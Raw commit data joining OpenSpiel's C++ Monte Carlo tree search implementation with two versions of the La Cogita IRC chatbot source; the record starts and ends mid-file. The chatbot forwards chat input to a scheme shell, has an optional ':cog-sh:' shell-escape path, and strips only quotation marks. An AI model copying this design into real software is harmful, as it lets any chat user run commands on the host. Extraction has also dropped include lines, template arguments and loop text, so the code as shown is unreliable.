solved.\n (max_memory_ && memory_used_ >= max_memory_) ||\n root->children.size() == 1) {\n break;\n }\n }\n\n return root;\n}\n\n} \/\/ namespace algorithms\n} \/\/ namespace open_spiel\nInitialize directly instead of using auto.\/\/ Copyright 2019 DeepMind Technologies Ltd. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"open_spiel\/algorithms\/mcts.h\"\n\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"open_spiel\/abseil-cpp\/absl\/algorithm\/container.h\"\n#include \"open_spiel\/abseil-cpp\/absl\/random\/uniform_int_distribution.h\"\n#include \"open_spiel\/abseil-cpp\/absl\/strings\/str_cat.h\"\n#include \"open_spiel\/abseil-cpp\/absl\/strings\/str_format.h\"\n#include \"open_spiel\/abseil-cpp\/absl\/time\/clock.h\"\n#include \"open_spiel\/abseil-cpp\/absl\/time\/time.h\"\n#include \"open_spiel\/spiel.h\"\n#include \"open_spiel\/spiel_utils.h\"\n\nnamespace open_spiel {\nnamespace algorithms {\n\n\/\/ Return the memory use of a vector. Useful to track and limit memory use when\n\/\/ running for a long time and build a big tree (eg to solve a game).\ntemplate \nconstexpr inline int VectorMemory(const std::vector& vec) {\n return sizeof(T) * vec.capacity();\n}\n\nstd::vector RandomRolloutEvaluator::Evaluate(const State& state) {\n std::vector result;\n for (int i = 0; i < n_rollouts_; ++i) {\n std::unique_ptr working_state = state.Clone();\n while (!working_state->IsTerminal()) {\n if (working_state->IsChanceNode()) {\n ActionsAndProbs outcomes = working_state->ChanceOutcomes();\n Action action =\n SampleAction(outcomes,\n std::uniform_real_distribution(0.0, 1.0)(rng_))\n .first;\n working_state->ApplyAction(action);\n } else {\n std::vector actions = working_state->LegalActions();\n absl::uniform_int_distribution dist(0, actions.size() - 1);\n int index = dist(rng_);\n working_state->ApplyAction(actions[index]);\n }\n }\n\n std::vector returns = working_state->Returns();\n if (result.empty()) {\n result.swap(returns);\n } else {\n SPIEL_CHECK_EQ(returns.size(), result.size());\n for (int i = 0; i < result.size(); ++i) {\n result[i] += returns[i];\n }\n }\n }\n for (int i = 0; i < result.size(); ++i) {\n result[i] \/= n_rollouts_;\n }\n return result;\n}\n\nActionsAndProbs RandomRolloutEvaluator::Prior(const State& state) {\n \/\/ Returns equal probability for all actions.\n if (state.IsChanceNode()) {\n return state.ChanceOutcomes();\n } else {\n std::vector legal_actions = state.LegalActions();\n ActionsAndProbs prior;\n prior.reserve(legal_actions.size());\n for (const Action& action : legal_actions) {\n prior.emplace_back(action, 1.0 \/ legal_actions.size());\n }\n return prior;\n }\n}\n\n\/\/ UCT value of given child\ndouble SearchNode::UCTValue(int parent_explore_count, double uct_c) const {\n if (!outcome.empty()) {\n return outcome[player];\n }\n\n if (explore_count == 0) return std::numeric_limits::infinity();\n\n \/\/ The \"greedy-value\" of choosing a given child is always with respect to\n \/\/ the current player for this node.\n return total_reward \/ explore_count +\n uct_c * std::sqrt(std::log(parent_explore_count) \/ explore_count);\n}\n\ndouble SearchNode::PUCTValue(int parent_explore_count, double uct_c) const {\n \/\/ Returns the PUCT value of this node.\n if (!outcome.empty()) {\n return outcome[player];\n }\n\n return ((explore_count != 0 ? total_reward \/ explore_count : 0) +\n uct_c * prior * std::sqrt(parent_explore_count) \/\n (explore_count + 1));\n}\n\nbool SearchNode::CompareFinal(const SearchNode& b) const {\n double out = (outcome.empty() ? 0 : outcome[player]);\n double out_b = (b.outcome.empty() ? 0 : b.outcome[b.player]);\n if (out != out_b) {\n return out < out_b;\n }\n if (explore_count != b.explore_count) {\n return explore_count < b.explore_count;\n }\n return total_reward < b.total_reward;\n}\n\nconst SearchNode& SearchNode::BestChild() const {\n \/\/ Returns the best action from this node, either proven or most visited.\n \/\/\n \/\/ This ordering leads to choosing:\n \/\/ - Highest proven score > 0 over anything else, including a promising but\n \/\/ unproven action.\n \/\/ - A proven draw only if it has higher exploration than others that are\n \/\/ uncertain, or the others are losses.\n \/\/ - Uncertain action with most exploration over loss of any difficulty\n \/\/ - Hardest loss if everything is a loss\n \/\/ - Highest expected reward if explore counts are equal (unlikely).\n \/\/ - Longest win, if multiple are proven (unlikely due to early stopping).\n return *std::max_element(children.begin(), children.end(),\n [](const SearchNode& a, const SearchNode& b) {\n return a.CompareFinal(b);\n });\n}\n\nstd::string SearchNode::ChildrenStr(const State& state) const {\n std::string out;\n if (!children.empty()) {\n std::vector refs; \/\/ Sort a list of refs, not a copy.\n refs.reserve(children.size());\n for (const SearchNode& child : children) {\n refs.push_back(&child);\n }\n std::sort(refs.begin(), refs.end(),\n [](const SearchNode* a, const SearchNode* b) {\n return b->CompareFinal(*a);\n });\n for (const SearchNode* child : refs) {\n absl::StrAppend(&out, child->ToString(state), \"\\n\");\n }\n }\n return out;\n}\n\nstd::string SearchNode::ToString(const State& state) const {\n return absl::StrFormat(\n \"%6s: player: %d, prior: %5.3f, value: %6.3f, sims: %5d, outcome: %s, \"\n \"%3d children\",\n (action != kInvalidAction ? state.ActionToString(player, action)\n : \"none\"),\n player, prior, (explore_count ? total_reward \/ explore_count : 0.),\n explore_count,\n (outcome.empty()\n ? \"none\"\n : absl::StrFormat(\"%4.1f\",\n outcome[player == kChancePlayerId ? 0 : player])),\n children.size());\n}\n\nstd::vector dirichlet_noise(int count, double alpha,\n std::mt19937* rng) {\n std::vector noise;\n noise.reserve(count);\n\n std::gamma_distribution gamma(alpha, 1.0);\n for (int i = 0; i < count; ++i) {\n noise.emplace_back(gamma(*rng));\n }\n\n double sum = absl::c_accumulate(noise, 0.0);\n for (double& v : noise) {\n v \/= sum;\n }\n return noise;\n}\n\nMCTSBot::MCTSBot(const Game& game, Evaluator* evaluator,\n double uct_c, int max_simulations, int64_t max_memory_mb,\n bool solve, int seed, bool verbose,\n ChildSelectionPolicy child_selection_policy,\n double dirichlet_alpha, double dirichlet_epsilon)\n : uct_c_{uct_c},\n max_simulations_{max_simulations},\n max_memory_(max_memory_mb << 20), \/\/ megabytes -> bytes\n verbose_(verbose),\n solve_(solve),\n max_utility_(game.MaxUtility()),\n dirichlet_alpha_(dirichlet_alpha),\n dirichlet_epsilon_(dirichlet_epsilon),\n rng_(seed),\n child_selection_policy_(child_selection_policy),\n evaluator_{evaluator} {\n GameType game_type = game.GetType();\n if (game_type.reward_model != GameType::RewardModel::kTerminal)\n SpielFatalError(\"Game must have terminal rewards.\");\n if (game_type.dynamics != GameType::Dynamics::kSequential)\n SpielFatalError(\"Game must have sequential turns.\");\n}\n\nAction MCTSBot::Step(const State& state) {\n absl::Time start = absl::Now();\n std::unique_ptr root = MCTSearch(state);\n const SearchNode& best = root->BestChild();\n\n if (verbose_) {\n double seconds = absl::ToDoubleSeconds(absl::Now() - start);\n std::cerr\n << absl::StrFormat(\n \"Finished %d sims in %.3f secs, %.1f sims\/s, tree size: %d mb.\",\n root->explore_count, seconds, (root->explore_count \/ seconds),\n memory_used_ \/ (1 << 20))\n << std::endl;\n std::cerr << \"Root:\" << std::endl;\n std::cerr << root->ToString(state) << std::endl;\n std::cerr << \"Children:\" << std::endl;\n std::cerr << root->ChildrenStr(state) << std::endl;\n if (!best.children.empty()) {\n std::unique_ptr chosen_state = state.Clone();\n chosen_state->ApplyAction(best.action);\n std::cerr << \"Children of chosen:\" << std::endl;\n std::cerr << best.ChildrenStr(*chosen_state) << std::endl;\n }\n }\n\n return best.action;\n}\n\nstd::pair MCTSBot::StepWithPolicy(const State& state) {\n Action action = Step(state);\n return {{{action, 1.}}, action};\n}\n\nstd::unique_ptr MCTSBot::ApplyTreePolicy(\n SearchNode* root, const State& state,\n std::vector* visit_path) {\n visit_path->push_back(root);\n std::unique_ptr working_state = state.Clone();\n SearchNode* current_node = root;\n while (!working_state->IsTerminal() && current_node->explore_count > 0) {\n if (current_node->children.empty()) {\n \/\/ For a new node, initialize its state, then choose a child as normal.\n ActionsAndProbs legal_actions = evaluator_->Prior(*working_state);\n if (current_node == root && dirichlet_alpha_ > 0) {\n std::vector noise =\n dirichlet_noise(legal_actions.size(), dirichlet_alpha_, &rng_);\n for (int i = 0; i < legal_actions.size(); i++) {\n legal_actions[i].second =\n (1 - dirichlet_epsilon_) * legal_actions[i].second +\n dirichlet_epsilon_ * noise[i];\n }\n }\n \/\/ Reduce bias from move generation order.\n std::shuffle(legal_actions.begin(), legal_actions.end(), rng_);\n Player player = working_state->CurrentPlayer();\n current_node->children.reserve(legal_actions.size());\n for (auto [action, prior] : legal_actions) {\n current_node->children.emplace_back(action, player, prior);\n }\n memory_used_ += VectorMemory(legal_actions);\n }\n\n SearchNode* chosen_child = nullptr;\n if (working_state->IsChanceNode()) {\n \/\/ For chance nodes, rollout according to chance node's probability\n \/\/ distribution\n Action chosen_action =\n SampleAction(working_state->ChanceOutcomes(),\n std::uniform_real_distribution(0.0, 1.0)(rng_))\n .first;\n\n for (SearchNode& child : current_node->children) {\n if (child.action == chosen_action) {\n chosen_child = &child;\n break;\n }\n }\n } else {\n \/\/ Otherwise choose node with largest UCT value.\n double max_value = -std::numeric_limits::infinity();\n for (SearchNode& child : current_node->children) {\n double val;\n switch (child_selection_policy_) {\n case ChildSelectionPolicy::UCT:\n val = child.UCTValue(current_node->explore_count, uct_c_);\n break;\n case ChildSelectionPolicy::PUCT:\n val = child.PUCTValue(current_node->explore_count, uct_c_);\n break;\n }\n if (val > max_value) {\n max_value = val;\n chosen_child = &child;\n }\n }\n }\n\n working_state->ApplyAction(chosen_child->action);\n current_node = chosen_child;\n visit_path->push_back(current_node);\n }\n\n return working_state;\n}\n\nstd::unique_ptr MCTSBot::MCTSearch(const State& state) {\n Player player_id = state.CurrentPlayer();\n memory_used_ = 0;\n auto root = std::make_unique(kInvalidAction, player_id, 1);\n std::vector visit_path;\n std::vector returns;\n visit_path.reserve(64);\n for (int i = 0; i < max_simulations_; ++i) {\n visit_path.clear();\n returns.clear();\n\n std::unique_ptr working_state =\n ApplyTreePolicy(root.get(), state, &visit_path);\n\n bool solved;\n if (working_state->IsTerminal()) {\n returns = working_state->Returns();\n visit_path[visit_path.size() - 1]->outcome = returns;\n memory_used_ += VectorMemory(returns);\n solved = solve_;\n } else {\n returns = evaluator_->Evaluate(*working_state);\n solved = false;\n }\n\n \/\/ Propagate values back.\n for (auto it = visit_path.rbegin(); it != visit_path.rend(); ++it) {\n SearchNode* node = *it;\n\n node->total_reward +=\n returns[node->player == kChancePlayerId ? player_id : node->player];\n node->explore_count += 1;\n\n \/\/ Back up solved results as well.\n if (solved && !node->children.empty()) {\n Player player = node->children[0].player;\n if (player == kChancePlayerId) {\n \/\/ Only back up chance nodes if all have the same outcome.\n \/\/ An alternative would be to back up the weighted average of\n \/\/ outcomes if all children are solved, but that is less clear.\n const std::vector& outcome = node->children[0].outcome;\n if (!outcome.empty() &&\n std::all_of(node->children.begin() + 1, node->children.end(),\n [&outcome](const SearchNode& c) {\n return c.outcome == outcome;\n })) {\n node->outcome = outcome;\n memory_used_ += VectorMemory(node->outcome);\n } else {\n solved = false;\n }\n } else {\n \/\/ If any have max utility (won?), or all children are solved,\n \/\/ choose the one best for the player choosing.\n const SearchNode* best = nullptr;\n bool all_solved = true;\n for (const SearchNode& child : node->children) {\n if (child.outcome.empty()) {\n all_solved = false;\n } else if (best == nullptr ||\n child.outcome[player] > best->outcome[player]) {\n best = &child;\n }\n }\n if (best != nullptr &&\n (all_solved || best->outcome[player] == max_utility_)) {\n node->outcome = best->outcome;\n memory_used_ += VectorMemory(node->outcome);\n } else {\n solved = false;\n }\n }\n }\n }\n\n if (!root->outcome.empty() || \/\/ Full game tree is solved.\n (max_memory_ && memory_used_ >= max_memory_) ||\n root->children.size() == 1) {\n break;\n }\n }\n\n return root;\n}\n\n} \/\/ namespace algorithms\n} \/\/ namespace open_spiel\n<|endoftext|>"} {"text":"\/*\n * IRC interfaces for La Cogita IRC chatbot\n * Copyright (C) 2007 Linas Vepstas \n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n *\/\n\n\/*\n * Go onto IRC\n * This is pretty totally a pure hack with little\/no design to it.\n * Linas October 2007\n *\/\n\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n\n#include \n#define foreach BOOST_FOREACH\n\n#include \"IRC.h\"\n#include \"CogitaConfig.h\"\n\n#include \"whirr-sockets.h\"\n\nusing namespace opencog::chatbot;\nusing std::string;\n\nCogitaConfig cc;\n\n\/* printf can puke if these fields are NULL *\/\nvoid fixup_reply(irc_reply_data* ird)\n{\n\tird->nick = (NULL == ird->nick) ? \"\" : ird->nick;\n\tird->ident = (NULL == ird->ident) ? \"\" : ird->ident;\n\tird->host = (NULL == ird->host) ? \"\" : ird->host;\n\tird->target = (NULL == ird->target) ? \"\" : ird->target;\n}\n\n\/**\n * Join channel shortly after logging into the irc server.\n *\/\nint end_of_motd(const char* params, irc_reply_data* ird, void* data)\n{\n\tIRC* conn = (IRC*) data;\n\tfixup_reply(ird);\n\n\tprintf(\"chatbot got params=%s\\n\", params);\n\tprintf(\"chatbot got motd nick=%s ident=%s host=%s target=%s\\n\",\n\t\tird->nick, ird->ident, ird->host, ird->target);\n\n\tsleep(1);\n\tconn->join (cc.ircChannels[0].c_str());\n\tprintf(\"chatbot sent channel join %s\\n\", cc.ircChannels[0].c_str());\n\tsleep(2);\n\tconn->notice (cc.ircChannels[0].c_str(), \"ola\");\n\tprintf(\"chatbot sent channel notice\\n\");\n\tsleep(2);\n\tconn->privmsg (cc.ircChannels[0].c_str(), \"here we are\");\n\tprintf(\"chatbot said hello to the channel\\n\");\n\treturn 0;\n}\n\n\/* return true if not all whitespace *\/\nstatic bool is_nonblank(const char * str)\n{\n\tsize_t len = strlen(str);\n\tif (0 == len) return false;\n\tsize_t blanks = strspn(str, \" \\n\\r\\t\\v\");\n\tif (blanks == len) return false;\n\treturn true;\n}\n\n\/**\n * Handle a message received from IRC.\n *\/\nint got_privmsg(const char* params, irc_reply_data* ird, void* data)\n{\n\tIRC* conn = (IRC*) data;\n\tfixup_reply(ird);\n\n\tprintf(\"input=%s\\n\", params);\n\tprintf(\"nick=%s ident=%s host=%s target=%s\\n\", ird->nick, ird->ident, ird->host, ird->target);\n\n\ttypedef enum {ENGLISH=1, SHELL_CMD, SCM_CMD} CmdType;\n\tCmdType cmd = ENGLISH;\n\n\tconst char * start = NULL;\n\tint priv = 0;\n\tif (!strcmp (ird->target, cc.nick.c_str())) {priv = 1; start = params+1; }\n\n\tif (!strncmp (¶ms[1], cc.nick.c_str(), cc.nick.size())) {\n\t\tstart = params+1 + cc.nick.size();\n\t\tstart = strchr(start, ':');\n\t\tif (start) start ++;\n\t} else if (!strncmp (params, \":cog-sh:\", 8)) {\n\t\tstart = params+8; cmd = SHELL_CMD;\n\t} else if (!strncmp (params, \":scm:\", 5)) {\n\t\tstart = params+5; cmd = SCM_CMD;\n\t} else {\n\t\t\/\/ Check for alternative nick\/attention strings\n\t\tforeach (string it, cc.attn) {\n\t\t\tif (! it.compare(0,it.size(),¶ms[1]) ) {\n\t\t\t\tstart = params + it.size();\n\t\t\t\tstart = strchr(start, ':');\n\t\t\t\tif (start) start ++;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (!start) return 0;\n\tchar * msg_target = NULL;\n\tif (priv)\n\t{\n\t\tmsg_target = ird->nick;\n\t}\n\telse\n\t{\n\t\tmsg_target = ird->target;\n\t}\n\n\t\/\/ Reply to request for chat client version\n\tif ((0x1 == start[0]) && !strncmp (&start[1], \"VERSION\", 7))\n\t{\n\t\tprintf (\"VERSION: %s\\n\", cc.vstring.c_str());\n\t\tconn->privmsg (msg_target, cc.vstring.c_str());\n\t\treturn 0;\n\t}\n\n\t\/\/ printf (\"duude starting with 0x%x %s\\n\", start[0], start);\n\tsize_t textlen = strlen(start);\n\tsize_t len = textlen;\n\tlen += strlen (\"(say-id-english )\");\n\tlen += strlen (ird->nick);\n\tlen += 120;\n\n\tchar * cmdline = (char *) malloc(sizeof (char) * (len+1));\n\n\tif (ENGLISH == cmd)\n\t{\n\t\t\/\/ Get into the opencog scheme shell, and run the command\n\t\tstrcpy (cmdline, \"scm hush\\n(say-id-english \\\"\");\n\t\tstrcat (cmdline, ird->nick);\n\t\tstrcat (cmdline, \"\\\" \\\"\");\n\t\tsize_t toff = strlen(cmdline);\n\t\tstrcat (cmdline, start);\n\t\tstrcat (cmdline, \"\\\")\\n\");\n\n\t\t\/\/ strip out quotation marks, replace with blanks, for now.\n\t\tfor (size_t i =0; iprivmsg (msg_target, \"Shell escapes disabled in this chatbot version\\n\");\n\t\treturn 0;\n\t}\n#endif \/* ENABLE_SHELL_ESCAPES *\/\n\n#define FLOOD_CHAR_COUNT 120\n\n\tsize_t flood_cnt = FLOOD_CHAR_COUNT;\n\tsize_t cnt = 0;\n\tbool dosend = true;\n\n\t\/\/ printf (\"Sending to opencog: %s\\n\", cmdline);\n\tchar * reply = whirr_sock_io (cmdline);\n\tfree(cmdline);\n\tcmdline = NULL;\n\n\tprintf (\"opencog reply: %s\\n\", reply);\n\n\t\/* Each newline has to be on its own line *\/\n\t\/* Limit length of reply so we don't get kicked for flooding *\/\n\tchar * p = reply;\n\twhile (*p)\n\t{\n\t\tchar *ep = strchr (p, '\\n');\n\n\t\t\/\/ The last line -- no newline found.\n\t\tif (!ep)\n\t\t{\n\t\t\tif (is_nonblank(p))\n\t\t\t\tconn->privmsg (msg_target, p);\n\t\t\tbreak;\n\t\t}\n\t\tep ++;\n\t\tint save = *ep;\n\t\t*ep = 0x0;\n\n\t\t\/\/ If the line starts with \":scm\", resubmit it to the\n\t\t\/\/ server. This is a kind-of cheap, hacky way of doing\n\t\t\/\/ multi-processing.\n\t\tif (0 == strncmp(p, \":scm\", 4))\n\t\t{\n\t\t\tchar * cr = strchr(p, '\\r');\n\t\t\tif (cr) *cr = '\\n';\n\t\t\tchar * r = whirr_sock_io (p+1);\n\t\t\tfree(reply);\n\t\t\treply = r;\n\t\t\tp = reply;\n\t\t\tprintf (\"opencog reply: %s\\n\", reply);\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ If the line starts with \":dbg\", the do not send to chatroom\n\t\tif (0 == strncmp(p, \":dbg\", 4))\n\t\t{\n\t\t\t*ep = save;\n\t\t\tp = ep;\n\t\t\tdosend = false;\n\t\t\tcontinue;\n\t\t}\n\t\tif (0 == strncmp(p, \":end-dbg\", 8))\n\t\t{\n\t\t\t*ep = save;\n\t\t\tp = ep;\n\t\t\tdosend = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Else send output to chatroom\n\t\tif (dosend && is_nonblank(p))\n\t\t{\n\t\t\tconn->privmsg (msg_target, p);\n\t\t\tcnt += strlen (p);\n\n\t\t\t\/* Sleep so that we don't get kicked for flooding *\/\n\t\t\tif (flood_cnt < cnt) { sleep(1); cnt -= FLOOD_CHAR_COUNT; }\n\t\t\tif (50 < flood_cnt) flood_cnt -= 15;\n\t\t}\n\t\t*ep = save;\n\t\tp = ep;\n\t}\n\tfree(reply);\n\n\treturn 0;\n}\n\nint got_kick(const char* params, irc_reply_data* ird, void* data)\n{\n\tfixup_reply(ird);\n\tprintf(\"got kicked -- input=%s\\n\", params);\n\tprintf(\"nick=%s ident=%s host=%s target=%s\\n\", ird->nick, ird->ident, ird->host, ird->target);\n\treturn 0;\n}\n\n\/**\n * @todo allow command line options via tclap http:\/\/tclap.sourceforge.net\/ -\n * package libtclap-dev in Ubuntu.\n * However, its probably more portable to use plain-old getopt,\n * or maybe getopt_long, lets keep the dependency list minimal.\n * @todo use Config class to store defaults, and retrieve opencog.conf vars.\n *\/\nint main (int argc, char * argv[])\n{\n\twhirr_sock_setup();\n\n\tIRC conn;\n\n\tif (cc.parseOptions(argc,argv)) return 0;\n\n\tconn.hook_irc_command(\"376\", &end_of_motd);\n\tconn.hook_irc_command(\"PRIVMSG\", &got_privmsg);\n\tconn.hook_irc_command(\"KICK\", &got_kick);\n\n\tconst char *login = getlogin();\n\n\t\/\/ The login-name, nick, etc. are there only to make it look\n\t\/\/ pretty on IRC ident.\n\tconn.start (cc.ircNetwork.c_str(), cc.ircPort, cc.nick.c_str(), login,\n\t \"La Cogita OpenCog chatbot\", \"asdf\");\n\n\tconn.message_loop();\n\n\tfprintf(stderr, \"%s: Fatal Error: Remote side closed socket\\n\",\n\t\targv[0]);\n\n\treturn 1;\n}\n\nwhoops!\/*\n * IRC interfaces for La Cogita IRC chatbot\n * Copyright (C) 2007 Linas Vepstas \n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n *\/\n\n\/*\n * Go onto IRC\n * This is pretty totally a pure hack with little\/no design to it.\n * Linas October 2007\n *\/\n\n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n\n#include \n#define foreach BOOST_FOREACH\n\n#include \"IRC.h\"\n#include \"CogitaConfig.h\"\n\n#include \"whirr-sockets.h\"\n\nusing namespace opencog::chatbot;\nusing std::string;\n\nCogitaConfig cc;\n\n\/* printf can puke if these fields are NULL *\/\nvoid fixup_reply(irc_reply_data* ird)\n{\n\tird->nick = (NULL == ird->nick) ? (char *) \"\" : ird->nick;\n\tird->ident = (NULL == ird->ident) ? (char *) \"\" : ird->ident;\n\tird->host = (NULL == ird->host) ? (char *) \"\" : ird->host;\n\tird->target = (NULL == ird->target) ? (char *) \"\" : ird->target;\n}\n\n\/**\n * Join channel shortly after logging into the irc server.\n *\/\nint end_of_motd(const char* params, irc_reply_data* ird, void* data)\n{\n\tIRC* conn = (IRC*) data;\n\tfixup_reply(ird);\n\n\tprintf(\"chatbot got params=%s\\n\", params);\n\tprintf(\"chatbot got motd nick=%s ident=%s host=%s target=%s\\n\",\n\t\tird->nick, ird->ident, ird->host, ird->target);\n\n\tsleep(1);\n\tconn->join (cc.ircChannels[0].c_str());\n\tprintf(\"chatbot sent channel join %s\\n\", cc.ircChannels[0].c_str());\n\tsleep(2);\n\tconn->notice (cc.ircChannels[0].c_str(), \"ola\");\n\tprintf(\"chatbot sent channel notice\\n\");\n\tsleep(2);\n\tconn->privmsg (cc.ircChannels[0].c_str(), \"here we are\");\n\tprintf(\"chatbot said hello to the channel\\n\");\n\treturn 0;\n}\n\n\/* return true if not all whitespace *\/\nstatic bool is_nonblank(const char * str)\n{\n\tsize_t len = strlen(str);\n\tif (0 == len) return false;\n\tsize_t blanks = strspn(str, \" \\n\\r\\t\\v\");\n\tif (blanks == len) return false;\n\treturn true;\n}\n\n\/**\n * Handle a message received from IRC.\n *\/\nint got_privmsg(const char* params, irc_reply_data* ird, void* data)\n{\n\tIRC* conn = (IRC*) data;\n\tfixup_reply(ird);\n\n\tprintf(\"input=%s\\n\", params);\n\tprintf(\"nick=%s ident=%s host=%s target=%s\\n\", ird->nick, ird->ident, ird->host, ird->target);\n\n\ttypedef enum {ENGLISH=1, SHELL_CMD, SCM_CMD} CmdType;\n\tCmdType cmd = ENGLISH;\n\n\tconst char * start = NULL;\n\tint priv = 0;\n\tif (!strcmp (ird->target, cc.nick.c_str())) {priv = 1; start = params+1; }\n\n\tif (!strncmp (¶ms[1], cc.nick.c_str(), cc.nick.size())) {\n\t\tstart = params+1 + cc.nick.size();\n\t\tstart = strchr(start, ':');\n\t\tif (start) start ++;\n\t} else if (!strncmp (params, \":cog-sh:\", 8)) {\n\t\tstart = params+8; cmd = SHELL_CMD;\n\t} else if (!strncmp (params, \":scm:\", 5)) {\n\t\tstart = params+5; cmd = SCM_CMD;\n\t} else {\n\t\t\/\/ Check for alternative nick\/attention strings\n\t\tforeach (string it, cc.attn) {\n\t\t\tif (! it.compare(0,it.size(),¶ms[1]) ) {\n\t\t\t\tstart = params + it.size();\n\t\t\t\tstart = strchr(start, ':');\n\t\t\t\tif (start) start ++;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (!start) return 0;\n\tchar * msg_target = NULL;\n\tif (priv)\n\t{\n\t\tmsg_target = ird->nick;\n\t}\n\telse\n\t{\n\t\tmsg_target = ird->target;\n\t}\n\n\t\/\/ Reply to request for chat client version\n\tif ((0x1 == start[0]) && !strncmp (&start[1], \"VERSION\", 7))\n\t{\n\t\tprintf (\"VERSION: %s\\n\", cc.vstring.c_str());\n\t\tconn->privmsg (msg_target, cc.vstring.c_str());\n\t\treturn 0;\n\t}\n\n\t\/\/ printf (\"duude starting with 0x%x %s\\n\", start[0], start);\n\tsize_t textlen = strlen(start);\n\tsize_t len = textlen;\n\tlen += strlen (\"(say-id-english )\");\n\tlen += strlen (ird->nick);\n\tlen += 120;\n\n\tchar * cmdline = (char *) malloc(sizeof (char) * (len+1));\n\n\tif (ENGLISH == cmd)\n\t{\n\t\t\/\/ Get into the opencog scheme shell, and run the command\n\t\tstrcpy (cmdline, \"scm hush\\n(say-id-english \\\"\");\n\t\tstrcat (cmdline, ird->nick);\n\t\tstrcat (cmdline, \"\\\" \\\"\");\n\t\tsize_t toff = strlen(cmdline);\n\t\tstrcat (cmdline, start);\n\t\tstrcat (cmdline, \"\\\")\\n\");\n\n\t\t\/\/ strip out quotation marks, replace with blanks, for now.\n\t\tfor (size_t i =0; iprivmsg (msg_target, \"Shell escapes disabled in this chatbot version\\n\");\n\t\treturn 0;\n\t}\n#endif \/* ENABLE_SHELL_ESCAPES *\/\n\n#define FLOOD_CHAR_COUNT 120\n\n\tsize_t flood_cnt = FLOOD_CHAR_COUNT;\n\tsize_t cnt = 0;\n\tbool dosend = true;\n\n\t\/\/ printf (\"Sending to opencog: %s\\n\", cmdline);\n\tchar * reply = whirr_sock_io (cmdline);\n\tfree(cmdline);\n\tcmdline = NULL;\n\n\tprintf (\"opencog reply: %s\\n\", reply);\n\n\t\/* Each newline has to be on its own line *\/\n\t\/* Limit length of reply so we don't get kicked for flooding *\/\n\tchar * p = reply;\n\twhile (*p)\n\t{\n\t\tchar *ep = strchr (p, '\\n');\n\n\t\t\/\/ The last line -- no newline found.\n\t\tif (!ep)\n\t\t{\n\t\t\tif (is_nonblank(p))\n\t\t\t\tconn->privmsg (msg_target, p);\n\t\t\tbreak;\n\t\t}\n\t\tep ++;\n\t\tint save = *ep;\n\t\t*ep = 0x0;\n\n\t\t\/\/ If the line starts with \":scm\", resubmit it to the\n\t\t\/\/ server. This is a kind-of cheap, hacky way of doing\n\t\t\/\/ multi-processing.\n\t\tif (0 == strncmp(p, \":scm\", 4))\n\t\t{\n\t\t\tchar * cr = strchr(p, '\\r');\n\t\t\tif (cr) *cr = '\\n';\n\t\t\tchar * r = whirr_sock_io (p+1);\n\t\t\tfree(reply);\n\t\t\treply = r;\n\t\t\tp = reply;\n\t\t\tprintf (\"opencog reply: %s\\n\", reply);\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ If the line starts with \":dbg\", the do not send to chatroom\n\t\tif (0 == strncmp(p, \":dbg\", 4))\n\t\t{\n\t\t\t*ep = save;\n\t\t\tp = ep;\n\t\t\tdosend = false;\n\t\t\tcontinue;\n\t\t}\n\t\tif (0 == strncmp(p, \":end-dbg\", 8))\n\t\t{\n\t\t\t*ep = save;\n\t\t\tp = ep;\n\t\t\tdosend = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Else send output to chatroom\n\t\tif (dosend && is_nonblank(p))\n\t\t{\n\t\t\tconn->privmsg (msg_target, p);\n\t\t\tcnt += strlen (p);\n\n\t\t\t\/* Sleep so that we don't get kicked for flooding *\/\n\t\t\tif (flood_cnt < cnt) { sleep(1); cnt -= FLOOD_CHAR_COUNT; }\n\t\t\tif (50 < flood_cnt) flood_cnt -= 15;\n\t\t}\n\t\t*ep = save;\n\t\tp = ep;\n\t}\n\tfree(reply);\n\n\treturn 0;\n}\n\nint got_kick(const char* params, irc_reply_data* ird, void* data)\n{\n\tfixup_reply(ird);\n\tprintf(\"got kicked -- input=%s\\n\", params);\n\tprintf(\"nick=%s ident=%s host=%s target=%s\\n\", ird->nick, ird->ident, ird->host, ird->target);\n\treturn 0;\n}\n\n\/**\n * @todo allow command line options via tclap http:\/\/tclap.sourceforge.net\/ -\n * package libtclap-dev in Ubuntu.\n * However, its probably more portable to use plain-old getopt,\n * or maybe getopt_long, lets keep the dependency list minimal.\n * @todo use Config class to store defaults, and retrieve opencog.conf vars.\n *\/\nint main (int argc, char * argv[])\n{\n\twhirr_sock_setup();\n\n\tIRC conn;\n\n\tif 